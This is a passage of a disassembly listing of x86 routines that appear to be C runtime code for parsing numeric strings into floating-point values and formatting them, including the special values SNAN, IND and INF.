CODE XREF: sub_42CB40+D5j ; DATA XREF: .text:0042D58Eo mov [ebp+var_4C], 1 jmp short loc_42CD6B ; --------------------------------------------------------------------------- loc_42CD40: ; CODE XREF: sub_42CB40+D5j ; sub_42CB40+1F0j ; DATA XREF: ... mov [ebp+var_4C], 6 jmp short loc_42CD6B ; --------------------------------------------------------------------------- loc_42CD49: ; CODE XREF: sub_42CB40+D5j ; sub_42CB40+1F0j ; DATA XREF: ... mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_42CD6B ; --------------------------------------------------------------------------- loc_42CD5B: ; CODE XREF: sub_42CB40+D5j ; sub_42CB40+1E0j ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_42CD6B: ; CODE XREF: sub_42CB40+1A3j ; sub_42CB40+1BEj ... jmp loc_42D343 ; --------------------------------------------------------------------------- loc_42CD70: ; CODE XREF: sub_42CB40+D5j ; DATA XREF: .text:0042D562o movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42CD94 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42CD94 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42CDD6 ; --------------------------------------------------------------------------- loc_42CD94: ; CODE XREF: sub_42CB40+237j ; sub_42CB40+240j movsx edx, byte ptr [ebp+var_3C] movsx eax, byte_442F5C cmp edx, eax jnz short loc_42CDAC mov [ebp+var_4C], 5 jmp short loc_42CDD6 ; --------------------------------------------------------------------------- loc_42CDAC: ; CODE XREF: sub_42CB40+261j mov cl, byte ptr [ebp+var_3C] mov [ebp+var_8C], cl cmp [ebp+var_8C], 30h jz short loc_42CDC0 jmp short loc_42CDC9 ; --------------------------------------------------------------------------- loc_42CDC0: ; CODE XREF: sub_42CB40+27Cj mov [ebp+var_4C], 1 jmp short loc_42CDD6 ; --------------------------------------------------------------------------- loc_42CDC9: ; CODE XREF: sub_42CB40+27Ej mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_42CDD6: ; CODE XREF: sub_42CB40+252j ; sub_42CB40+26Aj ... jmp loc_42D343 ; --------------------------------------------------------------------------- loc_42CDDB: ; CODE XREF: sub_42CB40+D5j ; DATA XREF: .text:0042D566o mov [ebp+var_54], 1 jmp short loc_42CDF5 ; --------------------------------------------------------------------------- loc_42CDE4: ; CODE XREF: sub_42CB40:loc_42CE6Fj mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42CDF5: ; CODE XREF: sub_42CB40+2A2j cmp dword_442F58, 1 jle short loc_42CE19 push 4 mov eax, [ebp+var_3C] and eax, 0FFh push eax call sub_41E750 add esp, 8 mov [ebp+var_90], eax jmp short loc_42CE37 ; --------------------------------------------------------------------------- loc_42CE19: ; CODE XREF: sub_42CB40+2BCj mov ecx, [ebp+var_3C] and ecx, 0FFh mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_90], eax loc_42CE37: ; CODE XREF: sub_42CB40+2D7j cmp [ebp+var_90], 0 jz short loc_42CE74 cmp [ebp+var_70], 19h jnb short loc_42CE66 mov ecx, [ebp+var_70] add ecx, 1 mov [ebp+var_70], ecx movsx edx, byte ptr [ebp+var_3C] sub edx, 30h mov eax, [ebp+var_68] mov [eax], dl mov ecx, [ebp+var_68] add ecx, 1 mov [ebp+var_68], ecx jmp short loc_42CE6F ; --------------------------------------------------------------------------- loc_42CE66: ; CODE XREF: sub_42CB40+304j mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx loc_42CE6F: ; CODE XREF: sub_42CB40+324j jmp loc_42CDE4 ; --------------------------------------------------------------------------- loc_42CE74: ; CODE XREF: sub_42CB40+2FEj movsx eax, byte ptr [ebp+var_3C] movsx ecx, byte_442F5C cmp eax, ecx jnz short loc_42CE8C mov [ebp+var_4C], 4 jmp short loc_42CEEE ; --------------------------------------------------------------------------- loc_42CE8C: ; CODE XREF: sub_42CB40+341j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_94], edx mov eax, [ebp+var_94] sub eax, 2Bh mov [ebp+var_94], eax cmp [ebp+var_94], 3Ah ja short loc_42CEDE mov edx, [ebp+var_94] xor ecx, ecx mov cl, ds:byte_42D5E1[edx] jmp ds:off_42D5D5[ecx*4] loc_42CEC3: ; DATA XREF: .text:0042D5D9o mov [ebp+var_4C], 6 jmp short loc_42CEEE ; --------------------------------------------------------------------------- loc_42CECC: ; CODE XREF: sub_42CB40+37Cj ; DATA XREF: .text:off_42D5D5o mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_42CEEE ; --------------------------------------------------------------------------- loc_42CEDE: ; CODE XREF: sub_42CB40+36Cj ; sub_42CB40+37Cj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_42CEEE: ; CODE XREF: sub_42CB40+34Aj ; sub_42CB40+38Aj ... jmp loc_42D343 ; --------------------------------------------------------------------------- loc_42CEF3: ; CODE XREF: sub_42CB40+D5j ; DATA XREF: .text:0042D56Ao mov [ebp+var_54], 1 mov [ebp+var_C], 1 cmp [ebp+var_70], 0 jnz short loc_42CF2E jmp short loc_42CF1A ; --------------------------------------------------------------------------- loc_42CF09: ; CODE XREF: sub_42CB40+3ECj mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42CF1A: ; CODE XREF: sub_42CB40+3C7j movsx edx, byte ptr [ebp+var_3C] cmp edx, 30h jnz short loc_42CF2E mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax jmp short loc_42CF09 ; --------------------------------------------------------------------------- loc_42CF2E: ; CODE XREF: sub_42CB40+3C5j ; sub_42CB40+3E1j jmp short loc_42CF41 ; --------------------------------------------------------------------------- loc_42CF30: ; CODE XREF: sub_42CB40:loc_42CFB9j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42CF41: ; CODE XREF: sub_42CB40:loc_42CF2Ej cmp dword_442F58, 1 jle short loc_42CF66 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_41E750 add esp, 8 mov [ebp+var_98], eax jmp short loc_42CF83 ; --------------------------------------------------------------------------- loc_42CF66: ; CODE XREF: sub_42CB40+408j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_98], ecx loc_42CF83: ; CODE XREF: sub_42CB40+424j cmp [ebp+var_98], 0 jz short loc_42CFBE cmp [ebp+var_70], 19h jnb short loc_42CFB9 mov edx, [ebp+var_70] add edx, 1 mov [ebp+var_70], edx movsx eax, byte ptr [ebp+var_3C] sub eax, 30h mov ecx, [ebp+var_68] mov [ecx], al mov edx, [ebp+var_68] add edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax loc_42CFB9: ; CODE XREF: sub_42CB40+450j jmp loc_42CF30 ; --------------------------------------------------------------------------- loc_42CFBE: ; CODE XREF: sub_42CB40+44Aj movsx ecx, byte ptr [ebp+var_3C] mov [ebp+var_9C], ecx mov edx, [ebp+var_9C] sub edx, 2Bh mov [ebp+var_9C], edx cmp [ebp+var_9C], 3Ah ja short loc_42D010 mov ecx, [ebp+var_9C] xor eax, eax mov al, ds:byte_42D628[ecx] jmp ds:off_42D61C[eax*4] loc_42CFF5: ; DATA XREF: .text:0042D620o mov [ebp+var_4C], 6 jmp short loc_42D020 ; --------------------------------------------------------------------------- loc_42CFFE: ; CODE XREF: sub_42CB40+4AEj ; DATA XREF: .text:off_42D61Co mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov [ebp+var_4C], 0Bh jmp short loc_42D020 ; --------------------------------------------------------------------------- loc_42D010: ; CODE XREF: sub_42CB40+49Ej ; sub_42CB40+4AEj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_42D020: ; CODE XREF: sub_42CB40+4BCj ; sub_42CB40+4CEj jmp loc_42D343 ; --------------------------------------------------------------------------- loc_42D025: ; CODE XREF: sub_42CB40+D5j ; DATA XREF: .text:0042D56Eo mov [ebp+var_C], 1 cmp dword_442F58, 1 jle short loc_42D051 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_41E750 add esp, 8 mov [ebp+var_A0], eax jmp short loc_42D06E ; --------------------------------------------------------------------------- loc_42D051: ; CODE XREF: sub_42CB40+4F3j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_A0], ecx loc_42D06E: ; CODE XREF: sub_42CB40+50Fj cmp [ebp+var_A0], 0 jz short loc_42D089 mov [ebp+var_4C], 4 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_42D096 ; --------------------------------------------------------------------------- loc_42D089: ; CODE XREF: sub_42CB40+535j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_42D096: ; CODE XREF: sub_42CB40+547j jmp loc_42D343 ; --------------------------------------------------------------------------- loc_42D09B: ; CODE XREF: sub_42CB40+D5j ; DATA XREF: .text:0042D572o mov ecx, [ebp+var_4] sub ecx, 2 mov [ebp+var_64], ecx movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42D0C8 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42D0C8 mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42D11D ; --------------------------------------------------------------------------- loc_42D0C8: ; CODE XREF: sub_42CB40+56Bj ; sub_42CB40+574j mov dl, byte ptr [ebp+var_3C] mov [ebp+var_A4], dl cmp [ebp+var_A4], 2Bh jz short loc_42D107 cmp [ebp+var_A4], 2Dh jz short loc_42D0F7 cmp [ebp+var_A4], 30h jz short loc_42D0EE jmp short loc_42D110 ; --------------------------------------------------------------------------- loc_42D0EE: ; CODE XREF: sub_42CB40+5AAj mov [ebp+var_4C], 8 jmp short loc_42D11D ; --------------------------------------------------------------------------- loc_42D0F7: ; CODE XREF: sub_42CB40+5A1j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_42D11D ; --------------------------------------------------------------------------- loc_42D107: ; CODE XREF: sub_42CB40+598j mov [ebp+var_4C], 7 jmp short loc_42D11D ; --------------------------------------------------------------------------- loc_42D110: ; CODE XREF: sub_42CB40+5ACj mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_42D11D: ; CODE XREF: sub_42CB40+586j ; sub_42CB40+5B5j ... jmp loc_42D343 ; --------------------------------------------------------------------------- loc_42D122: ; CODE XREF: sub_42CB40+D5j ; DATA XREF: .text:0042D57Ao mov [ebp+var_18], 1 jmp short loc_42D13C ; --------------------------------------------------------------------------- loc_42D12B: ; CODE XREF: sub_42CB40+605j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42D13C: ; CODE XREF: sub_42CB40+5E9j movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 30h jnz short loc_42D147 jmp short loc_42D12B ; --------------------------------------------------------------------------- loc_42D147: ; CODE XREF: sub_42CB40+603j movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42D16B movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42D16B mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42D17B ; --------------------------------------------------------------------------- loc_42D16B: ; CODE XREF: sub_42CB40+60Ej ; sub_42CB40+617j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42D17B: ; CODE XREF: sub_42CB40+629j jmp loc_42D343 ; --------------------------------------------------------------------------- loc_42D180: ; CODE XREF: sub_42CB40+D5j ; DATA XREF: .text:0042D576o movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_42D1A4 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_42D1A4 mov [ebp+var_4C], 9 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_42D1CE ; --------------------------------------------------------------------------- loc_42D1A4: ; CODE XREF: sub_42CB40+647j ; sub_42CB40+650j mov al, byte ptr [ebp+var_3C] mov [ebp+var_A8], al cmp [ebp+var_A8], 30h jz short loc_42D1B8 jmp short loc_42D1C1 ; --------------------------------------------------------------------------- loc_42D1B8: ; CODE XREF: sub_42CB40+674j mov [ebp+var_4C], 8 jmp short loc_42D1CE ; --------------------------------------------------------------------------- loc_42D1C1: ; CODE XREF: sub_42CB40+676j mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_64] mov [ebp+var_4], ecx loc_42D1CE: ; CODE XREF: sub_42CB40+662j ; sub_42CB40+67Fj jmp loc_42D343 ; --------------------------------------------------------------------------- loc_42D1D3: ; CODE XREF: sub_42CB40+D5j ; DATA XREF: .text:0042D57Eo mov [ebp+var_18], 1 mov [ebp+var_7C], 0 jmp short loc_42D1F4 ; --------------------------------------------------------------------------- loc_42D1E3: ; CODE XREF: sub_42CB40:loc_42D262j mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42D1F4: ; CODE XREF: sub_42CB40+6A1j cmp dword_442F58, 1 jle short loc_42D219 push 4 mov edx, [ebp+var_3C] and edx, 0FFh push edx call sub_41E750 add esp, 8 mov [ebp+var_AC], eax jmp short loc_42D236 ; --------------------------------------------------------------------------- loc_42D219: ; CODE XREF: sub_42CB40+6BBj mov eax, [ebp+var_3C] and eax, 0FFh mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_AC], edx loc_42D236: ; CODE XREF: sub_42CB40+6D7j cmp [ebp+var_AC], 0 jz short loc_42D267 mov eax, [ebp+var_7C] imul eax, 0Ah movsx ecx, byte ptr [ebp+var_3C] lea edx, [eax+ecx-30h] mov [ebp+var_7C], edx cmp [ebp+var_7C], 1450h jle short loc_42D262 mov [ebp+var_7C], 1451h jmp short loc_42D267 ; --------------------------------------------------------------------------- loc_42D262: ; CODE XREF: sub_42CB40+717j jmp loc_42D1E3 ; --------------------------------------------------------------------------- loc_42D267: ; CODE XREF: sub_42CB40+6FDj ; sub_42CB40+720j mov eax, [ebp+var_7C] mov [ebp+var_14], eax jmp short loc_42D280 ; --------------------------------------------------------------------------- loc_42D26F: ; CODE XREF: sub_42CB40+78Bj mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42D280: ; CODE XREF: sub_42CB40+72Dj cmp dword_442F58, 1 jle short loc_42D2A5 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_41E750 add esp, 8 mov [ebp+var_B0], eax jmp short loc_42D2C2 ; --------------------------------------------------------------------------- loc_42D2A5: ; CODE XREF: sub_42CB40+747j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_B0], ecx loc_42D2C2: ; CODE XREF: sub_42CB40+763j cmp [ebp+var_B0], 0 jz short loc_42D2CD jmp short loc_42D26F ; --------------------------------------------------------------------------- loc_42D2CD: ; CODE XREF: sub_42CB40+789j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_42D343 ; --------------------------------------------------------------------------- loc_42D2DF: ; CODE XREF: sub_42CB40+D5j ; DATA XREF: .text:0042D586o cmp [ebp+arg_18], 0 jz short loc_42D333 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_64], eax mov cl, byte ptr [ebp+var_3C] mov [ebp+var_B4], cl cmp [ebp+var_B4], 2Bh jz short loc_42D31B cmp [ebp+var_B4], 2Dh jz short loc_42D30B jmp short loc_42D324 ; --------------------------------------------------------------------------- loc_42D30B: ; CODE XREF: sub_42CB40+7C7j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_42D331 ; --------------------------------------------------------------------------- loc_42D31B: ; CODE XREF: sub_42CB40+7BEj mov [ebp+var_4C], 7 jmp short loc_42D331 ; --------------------------------------------------------------------------- loc_42D324: ; CODE XREF: sub_42CB40+7C9j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_42D331: ; CODE XREF: sub_42CB40+7D9j ; sub_42CB40+7E2j jmp short loc_42D343 ; --------------------------------------------------------------------------- loc_42D333: ; CODE XREF: sub_42CB40+7A3j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_42D343: ; CODE XREF: sub_42CB40+CCj ; sub_42CB40+D5j ... jmp loc_42CBE7 ; --------------------------------------------------------------------------- loc_42D348: ; CODE XREF: sub_42CB40+ABj mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx cmp [ebp+var_54], 0 jz loc_42D497 cmp [ebp+var_40], 0 jnz loc_42D497 cmp [ebp+var_78], 0 jnz loc_42D497 cmp [ebp+var_70], 18h jbe short loc_42D39F movsx eax, [ebp+var_21] cmp eax, 5 jl short loc_42D386 mov cl, [ebp+var_21] add cl, 1 mov [ebp+var_21], cl loc_42D386: ; CODE XREF: sub_42CB40+83Bj mov [ebp+var_70], 18h mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax loc_42D39F: ; CODE XREF: sub_42CB40+832j cmp [ebp+var_70], 0 jbe loc_42D47A mov ecx, [ebp+var_68] sub ecx, 1 mov [ebp+var_68], ecx jmp short loc_42D3BD ; --------------------------------------------------------------------------- loc_42D3B4: ; CODE XREF: sub_42CB40+899j mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx loc_42D3BD: ; CODE XREF: sub_42CB40+872j mov eax, [ebp+var_68] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_42D3DB mov edx, [ebp+var_70] sub edx, 1 mov [ebp+var_70], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax jmp short loc_42D3B4 ; --------------------------------------------------------------------------- loc_42D3DB: ; CODE XREF: sub_42CB40+885j lea ecx, [ebp+var_60] push ecx mov edx, [ebp+var_70] push edx lea eax, [ebp+var_38] push eax call sub_42CA00 add esp, 0Ch cmp [ebp+var_74], 0 jge short loc_42D3FD mov ecx, [ebp+var_14] neg ecx mov [ebp+var_14], ecx loc_42D3FD: ; CODE XREF: sub_42CB40+8B3j mov edx, [ebp+var_14] add edx, [ebp+var_6C] mov [ebp+var_14], edx cmp [ebp+var_18], 0 jnz short loc_42D415 mov eax, [ebp+var_14] add eax, [ebp+arg_10] mov [ebp+var_14], eax loc_42D415: ; CODE XREF: sub_42CB40+8CAj cmp [ebp+var_C], 0 jnz short loc_42D424 mov ecx, [ebp+var_14] sub ecx, [ebp+arg_14] mov [ebp+var_14], ecx loc_42D424: ; CODE XREF: sub_42CB40+8D9j cmp [ebp+var_14], 1450h jle short loc_42D436 mov [ebp+var_40], 1 jmp short loc_42D478 ; --------------------------------------------------------------------------- loc_42D436: ; CODE XREF: sub_42CB40+8EBj cmp [ebp+var_14], 0FFFFEBB0h jge short loc_42D448 mov [ebp+var_78], 1 jmp short loc_42D478 ; --------------------------------------------------------------------------- loc_42D448: ; CODE XREF: sub_42CB40+8FDj mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_14] push eax lea ecx, [ebp+var_60] push ecx call sub_42FDD0 add esp, 0Ch mov dx, [ebp+var_60] mov [ebp+var_48], dx mov eax, [ebp+var_5E] mov [ebp+var_8], eax mov ecx, [ebp+var_5A] mov [ebp+var_10], ecx mov dx, [ebp+var_56] mov word ptr [ebp+var_50], dx loc_42D478: ; CODE XREF: sub_42CB40+8F4j ; sub_42CB40+906j jmp short loc_42D497 ; --------------------------------------------------------------------------- loc_42D47A: ; CODE XREF: sub_42CB40+863j mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx loc_42D497: ; CODE XREF: sub_42CB40+814j ; sub_42CB40+81Ej ... cmp [ebp+var_54], 0 jnz short loc_42D4C6 mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov edx, [ebp+var_50] and edx, 0FFFFh mov [ebp+var_10], edx mov eax, [ebp+var_10] mov [ebp+var_8], eax mov ecx, [ebp+var_44] or ecx, 4 mov [ebp+var_44], ecx jmp short loc_42D51D ; --------------------------------------------------------------------------- loc_42D4C6: ; CODE XREF: sub_42CB40+95Bj cmp [ebp+var_40], 0 jz short loc_42D4F1 mov word ptr [ebp+var_50], 7FFFh mov [ebp+var_10], 80000000h mov [ebp+var_8], 0 mov [ebp+var_48], 0 mov edx, [ebp+var_44] or edx, 2 mov [ebp+var_44], edx jmp short loc_42D51D ; --------------------------------------------------------------------------- loc_42D4F1: ; CODE XREF: sub_42CB40+98Aj cmp [ebp+var_78], 0 jz short loc_42D51D mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx mov edx, [ebp+var_44] or edx, 1 mov [ebp+var_44], edx loc_42D51D: ; CODE XREF: sub_42CB40+984j ; sub_42CB40+9AFj ... mov eax, [ebp+arg_0] mov cx, [ebp+var_48] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+6], edx mov eax, [ebp+var_50] and eax, 0FFFFh mov ecx, [ebp+var_1C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax mov eax, [ebp+var_44] mov esp, ebp pop ebp retn sub_42CB40 endp ; --------------------------------------------------------------------------- off_42D55A dd offset loc_42CC1C ; DATA XREF: sub_42CB40+D5r dd offset loc_42CCBA dd offset loc_42CD70 dd offset loc_42CDDB dd offset loc_42CEF3 dd offset loc_42D025 dd offset loc_42D09B dd offset loc_42D180 dd offset loc_42D122 dd offset loc_42D1D3 dd offset loc_42D343 dd offset loc_42D2DF off_42D58A dd offset loc_42CD49 ; DATA XREF: sub_42CB40+1F0r dd offset loc_42CD37 dd offset loc_42CD40 dd offset loc_42CD5B byte_42D59A db 0 ; DATA XREF: sub_42CB40+1EAr db 3 dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h) dd 2030303h db 2 off_42D5D5 dd offset loc_42CECC ; DATA XREF: sub_42CB40+37Cr dd offset loc_42CEC3 dd offset loc_42CEDE byte_42D5E1 db 0 ; DATA XREF: sub_42CB40+376r dw 2 dd 5 dup(2020202h), 1010202h, 7 dup(2020202h), 1010202h off_42D61C dd offset loc_42CFFE ; DATA XREF: sub_42CB40+4AEr dd offset loc_42CFF5 dd offset loc_42D010 byte_42D628 db 0 ; DATA XREF: sub_42CB40+4A8r db 2, 0, 2 dd 5 dup(2020202h), 2010102h, 7 dup(2020202h), 0CC010102h dd 3 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push 0 push 0 push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx lea eax, [ebp-0Ch] push eax call sub_42CB40 add esp, 1Ch mov [ebp-14h], eax mov ecx, [ebp+8] push ecx lea edx, [ebp-0Ch] push edx call sub_429300 add esp, 8 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 1 jnz short loc_42D6B8 mov eax, [ebp-14h] or al, 2 mov [ebp-14h], eax loc_42D6B8: ; CODE XREF: .text:0042D6AEj mov eax, [ebp-14h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D6C0 proc near ; CODE XREF: sub_429580+36p var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_32 = dword ptr -32h var_2E = dword ptr -2Eh var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 74h mov word ptr [ebp+var_64], 4D10h mov word ptr [ebp+var_3C], 4Dh mov word ptr [ebp+var_60], 9Ah mov [ebp+var_20], 134312F4h mov [ebp+var_54], 0CCh mov [ebp+var_53], 0CCh mov [ebp+var_52], 0CCh mov [ebp+var_51], 0CCh mov [ebp+var_50], 0CCh mov [ebp+var_4F], 0CCh mov [ebp+var_4E], 0CCh mov [ebp+var_4D], 0CCh mov [ebp+var_4C], 0CCh mov [ebp+var_4B], 0CCh mov [ebp+var_4A], 0FBh mov [ebp+var_49], 3Fh mov [ebp+var_58], 1 mov ax, [ebp+arg_8] mov word ptr [ebp+var_70], ax mov ecx, [ebp+arg_4] mov [ebp+var_24], ecx mov edx, [ebp+arg_0] mov [ebp+var_48], edx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 8000h mov word ptr [ebp+var_68], ax mov cx, word ptr [ebp+var_70] and cx, 7FFFh mov word ptr [ebp+var_70], cx mov edx, [ebp+var_68] and edx, 0FFFFh test edx, edx jz short loc_42D75E mov eax, [ebp+arg_14] mov byte ptr [eax+2], 2Dh jmp short loc_42D765 ; --------------------------------------------------------------------------- loc_42D75E: ; CODE XREF: sub_42D6C0+93j mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h loc_42D765: ; CODE XREF: sub_42D6C0+9Cj mov edx, [ebp+var_70] and edx, 0FFFFh test edx, edx jnz short loc_42D7AC cmp [ebp+var_24], 0 jnz short loc_42D7AC cmp [ebp+var_48], 0 jnz short loc_42D7AC mov eax, [ebp+arg_14] mov word ptr [eax], 0 mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h mov edx, [ebp+arg_14] mov byte ptr [edx+3], 1 mov eax, [ebp+arg_14] mov byte ptr [eax+4], 30h mov ecx, [ebp+arg_14] mov byte ptr [ecx+5], 0 mov eax, 1 jmp loc_42DBD2 ; --------------------------------------------------------------------------- loc_42D7AC: ; CODE XREF: sub_42D6C0+B0j ; sub_42D6C0+B6j ... mov edx, [ebp+var_70] and edx, 0FFFFh cmp edx, 7FFFh jnz loc_42D8A6 mov eax, [ebp+arg_14] mov word ptr [eax], 1 cmp [ebp+var_24], 80000000h jnz short loc_42D7D8 cmp [ebp+var_48], 0 jz short loc_42D80C loc_42D7D8: ; CODE XREF: sub_42D6C0+110j mov ecx, [ebp+var_24] and ecx, 40000000h test ecx, ecx jnz short loc_42D80C push offset a1Snan ; "1#SNAN" mov edx, [ebp+arg_14] add edx, 4 push edx call sub_419FA0 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 6 mov [ebp+var_58], 0 jmp loc_42D8A1 ; --------------------------------------------------------------------------- loc_42D80C: ; CODE XREF: sub_42D6C0+116j ; sub_42D6C0+123j mov ecx, [ebp+var_68] and ecx, 0FFFFh test ecx, ecx jz short loc_42D84C cmp [ebp+var_24], 0C0000000h jnz short loc_42D84C cmp [ebp+var_48], 0 jnz short loc_42D84C push offset a1Ind ; "1#IND" mov edx, [ebp+arg_14] add edx, 4 push edx call sub_419FA0 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 5 mov [ebp+var_58], 0 jmp short loc_42D8A1 ; --------------------------------------------------------------------------- loc_42D84C: ; CODE XREF: sub_42D6C0+157j ; sub_42D6C0+160j ... cmp [ebp+var_24], 80000000h jnz short loc_42D87F cmp [ebp+var_48], 0 jnz short loc_42D87F push offset a1Inf ; "1#INF" mov ecx, [ebp+arg_14] add ecx, 4 push ecx call sub_419FA0 add esp, 8 mov edx, [ebp+arg_14] mov byte ptr [edx+3], 5 mov [ebp+var_58], 0 jmp short loc_42D8A1 ; 